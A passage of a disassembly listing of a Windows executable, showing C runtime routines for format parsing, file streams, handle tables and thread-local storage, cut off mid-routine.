mov [ebp+var_1C], 0 mov [ebp+var_20], 0 mov [ebp+var_24], 0 mov [ebp+var_28], 0 mov [ebp+var_2C], 0 mov [ebp+var_8], 0 jmp short loc_408C69 ; --------------------------------------------------------------------------- loc_408C50: ; CODE XREF: sub_408B70+10Ej movzx eax, [ebp+var_8] mov edx, offset dword_40FAD8 mov ecx, esi sub ecx, edx or eax, dword_40FAE0[ecx*4] mov [ebp+var_8], ax inc ebx loc_408C69: ; CODE XREF: sub_408B70+DEj movzx eax, byte ptr [ebx] push eax push offset dword_40FAD8 call sub_409210 add esp, 8 mov esi, eax test eax, eax jnz short loc_408C50 cmp byte ptr [ebx], 2Ah jnz short loc_408CA8 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_C], eax test eax, eax jge short loc_408CA5 mov eax, [ebp+var_C] neg eax mov [ebp+var_C], eax or [ebp+var_8], 4 loc_408CA5: ; CODE XREF: sub_408B70+126j inc ebx jmp short loc_408CDE ; --------------------------------------------------------------------------- loc_408CA8: ; CODE XREF: sub_408B70+113j mov [ebp+var_C], 0 jmp short loc_408CCD ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_408B70+16Cj cmp [ebp+var_C], 7FFFFFFFh jge short loc_408CCC mov eax, [ebp+var_C] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_C], eax loc_408CCC: ; CODE XREF: sub_408B70+148j inc ebx loc_408CCD: ; CODE XREF: sub_408B70+13Fj movzx eax, byte ptr [ebx] mov edx, off_41189C test word ptr [edx+eax*2], 1 jnz short loc_408CB1 loc_408CDE: ; CODE XREF: sub_408B70+136j cmp byte ptr [ebx], 2Eh jz short loc_408CE9 or [ebp+var_14], 0FFFFFFFFh jmp short loc_408D39 ; --------------------------------------------------------------------------- loc_408CE9: ; CODE XREF: sub_408B70+171j inc ebx mov eax, ebx cmp byte ptr [eax], 2Ah jnz short loc_408D03 mov eax, [ebp+arg_C] add eax, 4 mov [ebp+arg_C], eax mov eax, [eax-4] mov [ebp+var_14], eax inc ebx jmp short loc_408D39 ; --------------------------------------------------------------------------- loc_408D03: ; CODE XREF: sub_408B70+17Fj mov [ebp+var_14], 0 jmp short loc_408D28 ; --------------------------------------------------------------------------- loc_408D0C: ; CODE XREF: sub_408B70+1C7j cmp [ebp+var_14], 7FFFFFFFh jge short loc_408D27 mov eax, [ebp+var_14] lea eax, [eax+eax*4] add eax, eax movzx edx, byte ptr [ebx] lea eax, [edx+eax-30h] mov [ebp+var_14], eax loc_408D27: ; CODE XREF: sub_408B70+1A3j inc ebx loc_408D28: ; CODE XREF: sub_408B70+19Aj movzx eax, byte ptr [ebx] mov edx, off_41189C test word ptr [edx+eax*2], 1 jnz short loc_408D0C loc_408D39: ; CODE XREF: sub_408B70+177j ; sub_408B70+191j movzx eax, byte ptr [ebx] push eax push offset aHjltzl ; "hjltzL" call sub_409210 add esp, 8 test eax, eax jz short loc_408D56 mov eax, ebx inc ebx movzx edi, byte ptr [eax] jmp short loc_408D58 ; --------------------------------------------------------------------------- loc_408D56: ; CODE XREF: sub_408B70+1DCj xor edi, edi loc_408D58: ; CODE XREF: sub_408B70+1E4j mov eax, edi mov [ebp+var_6], al cmp al, 68h jnz short loc_408D6D cmp byte ptr [ebx], 68h jnz short loc_408D6D mov [ebp+var_6], 62h inc ebx jmp short loc_408D9D ; --------------------------------------------------------------------------- loc_408D6D: ; CODE XREF: sub_408B70+1EFj ; sub_408B70+1F4j cmp [ebp+var_6], 6Ch jnz short loc_408D7F cmp byte ptr [ebx], 6Ch jnz short loc_408D7F mov [ebp+var_6], 71h inc ebx jmp short loc_408D9D ; --------------------------------------------------------------------------- loc_408D7F: ; CODE XREF: sub_408B70+201j ; sub_408B70+206j cmp [ebp+var_6], 0 jnz short loc_408D9D cmp byte ptr [ebx], 49h jnz short loc_408D9D cmp byte ptr [ebx+1], 36h jnz short loc_408D9D cmp byte ptr [ebx+2], 34h jnz short loc_408D9D mov [ebp+var_6], 71h add ebx, 3 loc_408D9D: ; CODE XREF: sub_408B70+1FBj ; sub_408B70+20Dj ... lea eax, [ebp+var_84] push eax mov eax, ebx inc ebx movzx eax, byte ptr [eax] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_409FC0 add esp, 10h test eax, eax jnz short loc_408DDA lea eax, [ebp+var_84] push eax lea eax, [ebp+var_40] push eax call sub_40A700 add esp, 8 test eax, eax jge loc_408BA0 loc_408DDA: ; CODE XREF: sub_408B70+24Dj or eax, 0FFFFFFFFh loc_408DDD: ; CODE XREF: sub_408B70+8Ej ; sub_408B70+A9j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408B70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408DF0 proc near ; CODE XREF: sub_4075F0+6p cmp dword_411238, 0 jz short loc_408DFF mov eax, dword_411238 retn ; --------------------------------------------------------------------------- loc_408DFF: ; CODE XREF: sub_408DF0+7j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConout ; "CONOUT$" call dword_411DD4 ; CreateFileA retn sub_408DF0 endp ; --------------------------------------------------------------------------- align 10h cmp dword_41123C, 0 jz short loc_408E2F mov eax, dword_41123C retn ; --------------------------------------------------------------------------- loc_408E2F: ; CODE XREF: DMN0:00408E27j push 0 push 0 push 3 push 0 push 3 push 0C0000000h push offset aConin ; "CONIN$" call dword_411DD4 ; CreateFileA retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_408E50 proc near ; CODE XREF: sub_407690+35p push ebx push esi xor esi, esi xor ebx, ebx loc_408E56: ; CODE XREF: sub_408E50+4Ej cmp off_411374[ebx*4], 0 jnz short loc_408E7C push 4Ch call sub_408530 pop ecx mov esi, eax test esi, esi jz short loc_408EA0 mov off_411374[ebx*4], esi mov word ptr [esi], 80h jmp short loc_408EA0 ; --------------------------------------------------------------------------- loc_408E7C: ; CODE XREF: sub_408E50+Ej mov eax, off_411374[ebx*4] cmp word ptr [eax], 0 jnz short loc_408E97 mov esi, off_411374[ebx*4] mov word ptr [esi], 0FF7Fh jmp short loc_408EA0 ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_408E50+37j inc ebx cmp ebx, 100h jb short loc_408E56 loc_408EA0: ; CODE XREF: sub_408E50+1Cj ; sub_408E50+2Aj ... mov eax, esi pop esi pop ebx retn sub_408E50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408EB0 proc near ; CODE XREF: sub_407690+45p var_8 = dword ptr -8 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_8] test ebx, ebx jnz short loc_408EC7 xor eax, eax jmp loc_408FEB ; --------------------------------------------------------------------------- loc_408EC7: ; CODE XREF: sub_408EB0+Ej mov ax, [ebx] and ax, 80h mov [ebp+var_2], ax mov edi, ebx mov esi, offset dword_40FB10 mov ecx, 13h rep movsd lea eax, [ebx+48h] mov [ebx+8], eax lea eax, [ebx+48h] mov [ebx+10h], eax lea eax, [ebx+48h] mov [ebx+14h], eax lea eax, [ebx+48h] mov [ebx+2Ch], eax lea eax, [ebx+48h] mov [ebx+18h], eax lea eax, [ebx+48h] mov [ebx+30h], eax lea eax, [ebx+48h] mov [ebx+1Ch], eax lea eax, [ebx+28h] mov [ebx+20h], eax mov eax, [ebp+arg_4] cmp byte ptr [eax], 72h jnz short loc_408F21 mov [ebp+var_8], 1 jmp short loc_408F48 ; --------------------------------------------------------------------------- loc_408F21: ; CODE XREF: sub_408EB0+66j mov eax, [ebp+arg_4] cmp byte ptr [eax], 77h jnz short loc_408F32 mov [ebp+var_8], 1Ah jmp short loc_408F45 ; --------------------------------------------------------------------------- loc_408F32: ; CODE XREF: sub_408EB0+77j mov eax, [ebp+arg_4] cmp byte ptr [eax], 61h setnz al and eax, 1 dec eax and eax, 16h mov [ebp+var_8], eax loc_408F45: ; CODE XREF: sub_408EB0+80j mov eax, [ebp+var_8] loc_408F48: ; CODE XREF: sub_408EB0+6Fj movzx eax, [ebp+var_2] or eax, [ebp+var_8] mov [ebx], ax test word ptr [ebx], 3 jnz short loc_408F8B push ebx call sub_4078F0 pop ecx xor eax, eax jmp loc_408FEB ; --------------------------------------------------------------------------- loc_408F67: ; CODE XREF: sub_408EB0+E5j ; sub_408EB0+EDj mov eax, [ebp+arg_4] cmp byte ptr [eax], 62h jnz short loc_408F7C test word ptr [ebx], 20h jnz short loc_408F9F or word ptr [ebx], 20h jmp short loc_408F8B ; --------------------------------------------------------------------------- loc_408F7C: ; CODE XREF: sub_408EB0+BDj movzx eax, word ptr [ebx] and eax, 3 cmp eax, 3 jz short loc_408F9F or word ptr [ebx], 3 loc_408F8B: ; CODE XREF: sub_408EB0+A7j ; sub_408EB0+CAj mov eax, [ebp+arg_4] inc eax mov [ebp+arg_4], eax cmp byte ptr [eax], 62h jz short loc_408F67 mov eax, [ebp+arg_4] cmp byte ptr [eax], 2Bh jz short loc_408F67 loc_408F9F: ; CODE XREF: sub_408EB0+C4j ; sub_408EB0+D5j cmp [ebp+arg_0], 0 jz short loc_408FCD mov eax, [ebp+arg_4] push eax movzx eax, word ptr [ebx] push eax mov eax, [ebp+arg_0] push eax call sub_40A970 add esp, 0Ch mov [ebx+4], eax cmp dword ptr [ebx+4], 0 jge short loc_408FE4 push ebx call sub_4078F0 pop ecx xor eax, eax jmp short loc_408FEB ; --------------------------------------------------------------------------- loc_408FCD: ; CODE XREF: sub_408EB0+F3j cmp [ebp+arg_C], 0 jge short loc_408FDE push ebx call sub_4078F0 pop ecx xor eax, eax jmp short loc_408FEB ; --------------------------------------------------------------------------- loc_408FDE: ; CODE XREF: sub_408EB0+121j mov eax, [ebp+arg_C] mov [ebx+4], eax loc_408FE4: ; CODE XREF: sub_408EB0+110j call sub_407790 mov eax, ebx loc_408FEB: ; CODE XREF: sub_408EB0+12j ; sub_408EB0+B2j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_408EB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409000 proc near ; CODE XREF: sub_407790+4Dp arg_0 = dword ptr 4 mov eax, dword_4111A8 cmp dword_4111A4, eax ja short loc_409014 call sub_40A9E0 jmp short locret_40902D ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_409000+Bj mov eax, dword_4111A8 lea edx, [eax+1] mov dword_4111A8, edx mov edx, [esp+arg_0] mov dword_411064[eax*4], edx locret_40902D: ; CODE XREF: sub_409000+12j retn sub_409000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409030 proc near ; CODE XREF: sub_407810+8p ; sub_407AF0+D0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_40908E push 6 call sub_408AD0 pop ecx mov [ebp+var_8], 0 mov [ebp+var_4], 0 jmp short loc_409078 ; --------------------------------------------------------------------------- loc_409058: ; CODE XREF: sub_409030+4Fj mov eax, [ebp+var_4] mov eax, off_411374[eax*4] test eax, eax jz short loc_409075 push eax call sub_409030 pop ecx test eax, eax jge short loc_409075 or [ebp+var_8], 0FFFFFFFFh loc_409075: ; CODE XREF: sub_409030+34j ; sub_409030+3Fj inc [ebp+var_4] loc_409078: ; CODE XREF: sub_409030+26j cmp [ebp+var_4], 100h jl short loc_409058 push 6 call sub_408B50 pop ecx mov eax, [ebp+var_8] jmp short loc_409100 ; --------------------------------------------------------------------------- loc_40908E: ; CODE XREF: sub_409030+Ej test word ptr [ebx], 2000h jnz short loc_409099 xor eax, eax jmp short loc_409100 ; --------------------------------------------------------------------------- loc_409099: ; CODE XREF: sub_409030+63j mov esi, [ebx+8] jmp short loc_4090D5 ; --------------------------------------------------------------------------- loc_40909E: ; CODE XREF: sub_409030+A8j mov eax, [ebx+10h] sub eax, esi push eax push esi mov eax, [ebx+4] push eax call sub_40ABF0 add esp, 0Ch mov edi, eax test edi, edi jg short loc_4090D3 mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] mov [ebx+18h], eax mov eax, [ebx+8] mov [ebx+30h], eax or word ptr [ebx], 200h or eax, 0FFFFFFFFh jmp short loc_409100 ; --------------------------------------------------------------------------- loc_4090D3: ; CODE XREF: sub_409030+85j add esi, edi loc_4090D5: ; CODE XREF: sub_409030+6Cj cmp esi, [ebx+10h] jb short loc_40909E mov eax, [ebx+8] mov [ebx+10h], eax test word ptr [ebx], 0C00h jz short loc_4090EC mov esi, [ebx+8] jmp short loc_4090EF ; --------------------------------------------------------------------------- loc_4090EC: ; CODE XREF: sub_409030+B5j mov esi, [ebx+0Ch] loc_4090EF: ; CODE XREF: sub_409030+BAj test word ptr [ebx], 4000h jz short loc_4090FB mov [ebx+18h], esi jmp short loc_4090FE ; --------------------------------------------------------------------------- loc_4090FB: ; CODE XREF: sub_409030+C4j mov [ebx+30h], esi loc_4090FE: ; CODE XREF: sub_409030+C9j xor eax, eax loc_409100: ; CODE XREF: sub_409030+5Cj ; sub_409030+67j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_409030 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409110 proc near ; CODE XREF: sub_4091B0+41p ; sub_40BC70+328p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx push esi mov ebx, [ebp+arg_0] push ebx call sub_40AEF0 pop ecx cmp eax, 0FFFFFFFFh jz short loc_40915F cmp ebx, 1 jz short loc_409133 cmp ebx, 2 jnz short loc_40914D loc_409133: ; CODE XREF: sub_409110+1Cj push 1 call sub_40AEF0 pop ecx mov [ebp+var_4], eax push 2 call sub_40AEF0 pop ecx mov edx, [ebp+var_4] cmp edx, eax jz short loc_40915F loc_40914D: ; CODE XREF: sub_409110+21j push ebx call sub_40AEF0 pop ecx push eax call dword_411CFC ; CloseHandle test eax, eax jz short loc_409163 loc_40915F: ; CODE XREF: sub_409110+17j ; sub_409110+3Bj xor esi, esi jmp short loc_40916B ; --------------------------------------------------------------------------- loc_409163: ; CODE XREF: sub_409110+4Dj call dword_411CEC ; RtlGetLastWin32Error mov esi, eax loc_40916B: ; CODE XREF: sub_409110+51j push ebx call sub_40ADA0 pop ecx mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] mov byte ptr [edx+eax+4], 0 test esi, esi jz short loc_40919B push esi call sub_4085D0 pop ecx or eax, 0FFFFFFFFh jmp short loc_40919D ; --------------------------------------------------------------------------- loc_40919B: ; CODE XREF: sub_409110+7Dj xor eax, eax loc_40919D: ; CODE XREF: sub_409110+89j pop esi pop ebx mov esp, ebp pop ebp retn sub_409110 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4091B0 proc near ; CODE XREF: sub_407810+30p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A8C jnb short loc_4091D9 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_41398C[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_4091E9 loc_4091D9: ; CODE XREF: sub_4091B0+Cj call sub_408730 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_409202 ; --------------------------------------------------------------------------- loc_4091E9: ; CODE XREF: sub_4091B0+27j push ebx call sub_40B010 pop ecx push ebx call sub_409110 pop ecx mov esi, eax push ebx call sub_40B070 pop ecx mov eax, esi loc_409202: ; CODE XREF: sub_4091B0+37j pop esi pop ebx retn sub_4091B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409210 proc near ; CODE XREF: sub_407A50+39p ; sub_408B70+102p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov eax, [esp+arg_4] mov dl, al jmp short loc_409225 ; --------------------------------------------------------------------------- loc_40921C: ; CODE XREF: sub_409210+17j cmp byte ptr [ecx], 0 jnz short loc_409224 xor eax, eax retn ; --------------------------------------------------------------------------- loc_409224: ; CODE XREF: sub_409210+Fj inc ecx loc_409225: ; CODE XREF: sub_409210+Aj cmp [ecx], dl jnz short loc_40921C mov eax, ecx retn sub_409210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409230 proc near ; CODE XREF: sub_407AF0+3Dp ; sub_40D190+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] mov eax, [ebx+18h] cmp eax, [ebx+10h] jbe short loc_409249 xor eax, eax jmp loc_409322 ; --------------------------------------------------------------------------- loc_409249: ; CODE XREF: sub_409230+10j movzx eax, word ptr [ebx] and eax, 9002h cmp eax, 2 jz short loc_409285 movzx eax, word ptr [ebx] mov [ebp+var_4], eax test eax, 8000h setnz al and eax, 1 dec eax and eax, 4000h add eax, 200h mov edx, [ebp+var_4] or edx, eax mov ax, dx mov [ebx], ax or eax, 0FFFFFFFFh jmp loc_409322 ; --------------------------------------------------------------------------- loc_409285: ; CODE XREF: sub_409230+24j movzx eax, word ptr [ebx] and eax, 6000h cmp eax, 6000h jnz short loc_4092AC mov eax, [ebx+0Ch] cmp eax, [ebx+10h] ja short loc_4092AC push ebx call sub_409030 pop ecx test eax, eax jz short loc_4092AC or eax, 0FFFFFFFFh jmp short loc_409322 ; --------------------------------------------------------------------------- loc_4092AC: ; CODE XREF: sub_409230+62j ; sub_409230+6Aj ... test word ptr [ebx], 0C00h jnz short loc_4092BB lea eax, [ebx+48h] cmp eax, [ebx+8] jz short loc_4092BD loc_4092BB: ; CODE XREF: sub_409230+81j jmp short loc_40930F ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_409230+89j push 200h call sub_408530 pop ecx mov [ebx+8], eax test eax, eax jnz short loc_4092E9 lea eax, [ebx+48h] mov [ebx+8], eax mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] inc eax mov [ebx+0Ch], eax call sub_407790 jmp short loc_40930F ; --------------------------------------------------------------------------- loc_4092E9: ; CODE XREF: sub_409230+9Dj or word ptr [ebx], 40h mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebx+8] add eax, 200h mov [ebx+0Ch], eax mov eax, [ebx+8] mov [ebx+2Ch], eax mov eax, [ebx+8] mov [ebx+30h], eax call sub_407790 loc_40930F: ; CODE XREF: sub_409230:loc_4092BBj ; sub_409230+B7j mov eax, [ebx+8] mov [ebx+14h], eax mov eax, [ebx+0Ch] mov [ebx+18h], eax or word ptr [ebx], 6000h xor eax, eax loc_409322: ; CODE XREF: sub_409230+14j ; sub_409230+50j ... pop ebx mov esp, ebp pop ebp retn sub_409230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409330 proc near ; CODE XREF: sub_407AF0+59p ; sub_409FC0+696p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] mov bl, al mov edx, [esp+4+arg_0] jmp short loc_40934B ; --------------------------------------------------------------------------- loc_409341: ; CODE XREF: sub_409330+1Dj cmp [edx], bl jnz short loc_409349 mov eax, edx jmp short loc_409351 ; --------------------------------------------------------------------------- loc_409349: ; CODE XREF: sub_409330+13j inc edx dec ecx loc_40934B: ; CODE XREF: sub_409330+Fj test ecx, ecx jnz short loc_409341 xor eax, eax loc_409351: ; CODE XREF: sub_409330+17j pop ebx retn sub_409330 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409360 proc near ; CODE XREF: sub_407E30:loc_407E77p push ebx call sub_408A30 call dword_411DD8 ; TlsAlloc mov dword_411774, eax cmp eax, 0FFFFFFFFh jnz short loc_40937C xor eax, eax jmp short loc_4093B7 ; --------------------------------------------------------------------------- loc_40937C: ; CODE XREF: sub_409360+16j push 48h call sub_408530 pop ecx mov ebx, eax test eax, eax jz short loc_40939B push ebx mov eax, dword_411774 push eax call dword_411D9C ; TlsSetValue test eax, eax jnz short loc_40939F loc_40939B: ; CODE XREF: sub_409360+28j xor eax, eax jmp short loc_4093B7 ; --------------------------------------------------------------------------- loc_40939F: ; CODE XREF: sub_409360+39j push ebx call sub_4093F0 pop ecx call dword_411DDC ; GetCurrentThreadId mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh mov eax, 1 loc_4093B7: ; CODE XREF: sub_409360+1Aj ; sub_409360+3Dj pop ebx retn sub_409360 endp ; --------------------------------------------------------------------------- align 10h call sub_408A70 cmp dword_411774, 0FFFFFFFFh jz short locret_4093E4 mov eax, dword_411774 push eax call dword_411DE0 ; TlsFree or dword_411774, 0FFFFFFFFh locret_4093E4: ; CODE XREF: DMN0:004093CFj retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4093F0 proc near ; CODE XREF: sub_407CA0+17p ; sub_409360+40p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov edx, ebx mov ecx, 48h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx mov dword ptr [ebx+34h], offset dword_4117E8 mov dword ptr [ebx+10h], 1 pop ebx retn sub_4093F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409420 proc near ; CODE XREF: sub_407D30+1p sub_408730p ... push ebx push esi call dword_411CEC ; RtlGetLastWin32Error mov esi, eax mov eax, dword_411774 push eax call dword_411DE4 ; TlsGetValue mov ebx, eax test eax, eax jnz short loc_409478 push 48h call sub_408530 pop ecx mov ebx, eax test eax, eax jz short loc_409470 push ebx mov eax, dword_411774 push eax call dword_411D9C ; TlsSetValue test eax, eax jz short loc_409470 push ebx call sub_4093F0 pop ecx call dword_411DDC ; GetCurrentThreadId mov [ebx], eax or dword ptr [ebx+4], 0FFFFFFFFh jmp short loc_409478 ; --------------------------------------------------------------------------- loc_409470: ; CODE XREF: sub_409420+28j ; sub_409420+39j push 1 call sub_409520 pop ecx loc_409478: ; CODE XREF: sub_409420+1Aj ; sub_409420+4Ej push esi call dword_411D18 ; RtlRestoreLastWin32Error mov eax, ebx pop esi pop ebx retn sub_409420 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409490 proc near ; CODE XREF: sub_407D30+28p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] cmp dword_411774, 0FFFFFFFFh jz short loc_40951C test ebx, ebx jnz short loc_4094B3 mov eax, dword_411774 push eax call dword_411DE4 ; TlsGetValue mov ebx, eax loc_4094B3: ; CODE XREF: sub_409490+13j test ebx, ebx jz short loc_40950E mov eax, [ebx+20h] push eax call sub_407480 pop ecx mov eax, [ebx+24h] push eax call sub_407480 pop ecx mov eax, [ebx+28h] push eax call sub_407480 pop ecx mov eax, [ebx+2Ch] push eax call sub_407480 pop ecx mov eax, [ebx+30h] push eax call sub_407480 pop ecx mov eax, [ebx+34h] cmp eax, offset dword_4117E8 jz short loc_4094FD mov eax, [ebx+34h] push eax call sub_407480 pop ecx loc_4094FD: ; CODE XREF: sub_409490+61j mov eax, [ebx+3Ch] push eax call sub_407480 pop ecx push ebx call sub_407480 pop ecx loc_40950E: ; CODE XREF: sub_409490+25j push 0 mov eax, dword_411774 push eax call dword_411D9C ; TlsSetValue loc_40951C: ; CODE XREF: sub_409490+Fj pop ebx retn sub_409490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409520 proc near ; CODE XREF: sub_407C00+3Cp ; sub_407C00+7Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D34 ; ExitProcess retn sub_409520 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_407C00+6Ap ; sub_407E30+F7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov ebx, [esp+0Ch+arg_0] mov esi, offset dword_411778 jmp short loc_409582 ; --------------------------------------------------------------------------- loc_40953E: ; CODE XREF: sub_409530+58j cmp [esi], ebx jnz short loc_40957F push 1 mov eax, [esi+4] push eax call sub_40B0E0 add esp, 8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40955E test edi, edi jnz short loc_409560 loc_40955E: ; CODE XREF: sub_409530+28j jmp short loc_40958A ; --------------------------------------------------------------------------- loc_409560: ; CODE XREF: sub_409530+2Cj cmp edi, 1 jz short loc_40957A push 0 mov eax, [esi+4] push eax call sub_40B0E0 add esp, 8 mov eax, [esi+4] push eax call edi pop ecx loc_40957A: ; CODE XREF: sub_409530+33j or eax, 0FFFFFFFFh jmp short loc_409595 ; --------------------------------------------------------------------------- loc_40957F: ; CODE XREF: sub_409530+10j add esi, 8 loc_409582: ; CODE XREF: sub_409530+Cj cmp esi, offset dword_4117C8 jb short loc_40953E loc_40958A: ; CODE XREF: sub_409530:loc_40955Ej mov eax, [esp+0Ch+arg_4] push eax call dword_411DE8 ; UnhandledExceptionFilter loc_409595: ; CODE XREF: sub_409530+4Dj pop edi pop esi pop ebx retn sub_409530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4095A0 proc near ; CODE XREF: sub_407E20+5p arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call dword_411D1C ; DeleteFileA test eax, eax jnz short loc_4095C0 call dword_411CEC ; RtlGetLastWin32Error push eax call sub_4085D0 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_4095C0: ; CODE XREF: sub_4095A0+Dj xor eax, eax retn sub_4095A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4095D0 proc near ; CODE XREF: sub_407E30+5Fp push offset dword_412858 call dword_411DEC ; GetSystemTimeAsFileTime retn sub_4095D0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 push ebx lea eax, [ebp-8] push eax call dword_411DEC ; GetSystemTimeAsFileTime mov eax, [ebp-8] mov edx, [ebp-4] mov ecx, dword_412858 mov ebx, dword_41285C sub eax, ecx sbb edx, ebx mov [ebp-8], eax mov [ebp-4], edx mov eax, [ebp-8] mov edx, [ebp-4] push edx push eax push 0 push 2710h call sub_40B1D0 pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409630 proc near ; CODE XREF: sub_407E30+64p var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_26 = word ptr -26h var_24 = dword ptr -24h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi push 480h call sub_408530 pop ecx mov ebx, eax test eax, eax jnz short loc_409652 push 1 call sub_409520 pop ecx loc_409652: ; CODE XREF: sub_409630+18j mov dword_41398C, ebx mov dword_413A8C, 20h jmp short loc_40967C ; --------------------------------------------------------------------------- loc_409664: ; CODE XREF: sub_409630+58j mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_40967C: ; CODE XREF: sub_409630+32j mov eax, dword_41398C add eax, 480h cmp ebx, eax jb short loc_409664 lea eax, [ebp+var_58] push eax call dword_411DAC ; GetStartupInfoA cmp [ebp+var_26], 0 jz loc_4097A2 cmp [ebp+var_24], 0 jz loc_4097A2 mov eax, [ebp+var_24] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_24] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+var_10] mov edx, [ebp+var_4] add edx, eax mov [ebp+var_8], edx cmp eax, 800h jle short loc_4096D3 mov [ebp+var_10], 800h loc_4096D3: ; CODE XREF: sub_409630+9Aj mov esi, 1 jmp short loc_40972E ; --------------------------------------------------------------------------- loc_4096DA: ; CODE XREF: sub_409630+107j push 480h call sub_408530 pop ecx mov ebx, eax test eax, eax jnz short loc_4096F5 mov eax, dword_413A8C mov [ebp+var_10], eax jmp short loc_409739 ; --------------------------------------------------------------------------- loc_4096F5: ; CODE XREF: sub_409630+B9j mov dword_41398C[esi*4], ebx add dword_413A8C, 20h jmp short loc_40971D ; --------------------------------------------------------------------------- loc_409705: ; CODE XREF: sub_409630+FBj mov byte ptr [ebx+4], 0 mov dword ptr [ebx], 0FFFFFFFFh mov byte ptr [ebx+5], 0Ah mov dword ptr [ebx+8], 0 add ebx, 24h loc_40971D: ; CODE XREF: sub_409630+D3j mov eax, dword_41398C[esi*4] add eax, 480h cmp ebx, eax jb short loc_409705 inc esi loc_40972E: ; CODE XREF: sub_409630+A8j mov eax, [ebp+var_10] cmp dword_413A8C, eax jl short loc_4096DA loc_409739: ; CODE XREF: sub_409630+C3j xor edi, edi jmp short loc_40979D ; --------------------------------------------------------------------------- loc_40973D: ; CODE XREF: sub_409630+170j mov eax, [ebp+var_8] mov eax, [eax] cmp eax, 0FFFFFFFFh jz short 